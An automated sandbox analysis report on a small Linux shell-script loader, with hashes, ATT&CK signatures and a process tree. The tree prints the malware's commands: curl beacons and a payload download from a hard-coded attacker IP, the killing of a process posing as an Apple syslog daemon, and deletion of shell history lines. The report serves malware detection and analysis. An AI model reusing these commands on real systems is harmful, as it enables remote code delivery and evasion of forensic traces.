5e6344e847341634933353ce78815fd570bf4f6a9f4f9fc5e12a02be98503bc9

Analysis

max time kernel
3s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/10/2026, 18:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
87da77e63a37
Size 4KB
Sample261022-w2ql8sew2x
SHA256 5e6344e847341634933353ce78815fd570bf4f6a9f4f9fc5e12a02be98503bc9
MD5 3b4264c60d232cbd6d3839b48c93d8ad
SHA1 c154dc459a1246f9dee3fba78361a20483fdd2c9
SHA512 e2ac06a026656c06bb787098e2ddd5d015d92fda502cfd5e69c4d54e29d996777a987edab7b9913be9c3b6a4d6ae19c9095ea2b56a019ecc246ecef4d2f891fe
SSDEEP 48:MZ3MfgnkJjzGYIL2rLm3kxGoWpz4TSQRVT0bzfC3/7E/mGXIGwztzhSEzBTYmzE0:dgnCjhIAlxGrhQnQ/NIGqm8Uu
TLSH
T135A13FF6F6A4B932790C927E7A9C10902E93197F92E47DA99043BC18542C18C727C2B9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm credential_access defense_evasion discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads Bash history 1 TTPs 1 IoCs

Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

credential_access

Bash History

T1552.003

pid	Process
715	sed

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
701	base64

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/648/cmdline	pkill
File opened for reading	/proc/696/cmdline	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/140/cmdline	pkill
File opened for reading	/proc/316/status	pkill
File opened for reading	/proc/592/status	pkill
File opened for reading	/proc/639/cmdline	pkill
File opened for reading	/proc/640/cmdline	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/231/cmdline	pkill
File opened for reading	/proc/642/cmdline	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/690/cmdline	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/287/status	pkill
File opened for reading	/proc/314/cmdline	pkill
File opened for reading	/proc/316/cmdline	pkill
File opened for reading	/proc/326/status	pkill
File opened for reading	/proc/603/cmdline	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/696/status	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/115/cmdline	pkill
File opened for reading	/proc/142/cmdline	pkill
File opened for reading	/proc/594/status	pkill
File opened for reading	/proc/651/cmdline	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/657/status	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/326/cmdline	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/41/cmdline	pkill
File opened for reading	/proc/43/status	pkill
File opened for reading	/proc/175/status	pkill
File opened for reading	/proc/642/status	pkill
File opened for reading	/proc/653/cmdline	pkill
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/142/status	pkill
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/28/status	pkill
File opened for reading	/proc/337/cmdline	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/82/cmdline	pkill
File opened for reading	/proc/302/cmdline	pkill
File opened for reading	/proc/322/status	pkill
File opened for reading	/proc/594/cmdline	pkill

/tmp/87da77e63a37
/tmp/87da77e63a37
1⤵
PID:651
- /bin/date
  date "+%s"
  2⤵
  PID:665
- /usr/bin/whoami
  whoami
  2⤵
  PID:672
- /usr/bin/head
  head -1
  2⤵
  PID:678
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:679
- /usr/bin/id
  id -u
  2⤵
  PID:682
- /bin/mktemp
  mktemp -d
  2⤵
  PID:684
- /bin/mkdir
  mkdir -p /root/Library/Caches/com.apple.frameworks
  2⤵
  - Reads runtime system information
  PID:685
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:689
- /usr/bin/head
  head -1
  2⤵
  PID:693
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:694
- /usr/bin/pkill
  pkill -9 -f com.apple.syslogd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:696
- /bin/sleep
  sleep 0.2
  2⤵
  PID:697
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:701
- /usr/bin/head
  head -c8 /dev/urandom
  2⤵
  PID:703
- /usr/bin/od
  od -An -tx1
  2⤵
  PID:704
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:705
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"5177964cfcc995eb\",\"src\":\"http://138.124.78.70/2696c7f9d97b3b?force=1\"}" -m 5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:706
- /bin/uname
  uname -m
  2⤵
  PID:707
- /usr/bin/id
  id -u
  2⤵
  PID:709
- /usr/bin/getconf
  getconf DARWIN_USER_CACHE_DIR
  2⤵
  PID:711
- /bin/sed
  sed -i "\$d" /root/.zsh_history
  2⤵
  PID:713
- /usr/bin/curl
  curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://138.124.78.70/9e53ca10?force=1" -o /tmp/tmp.K0f3Q65VxS/.aFZH3D
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:714
- /bin/sed
  sed -i "\$d" /root/.bash_history
  2⤵
  - Reads Bash history
  - Reads runtime system information
  PID:715
- /usr/bin/id
  id -u
  2⤵
  PID:717
- /bin/rm
  rm -rf /tmp/tmp.K0f3Q65VxS
  2⤵
  PID:720
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"5177964cfcc995eb\",\"src\":\"http://138.124.78.70/2696c7f9d97b3b?force=1\"}" -m 3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:719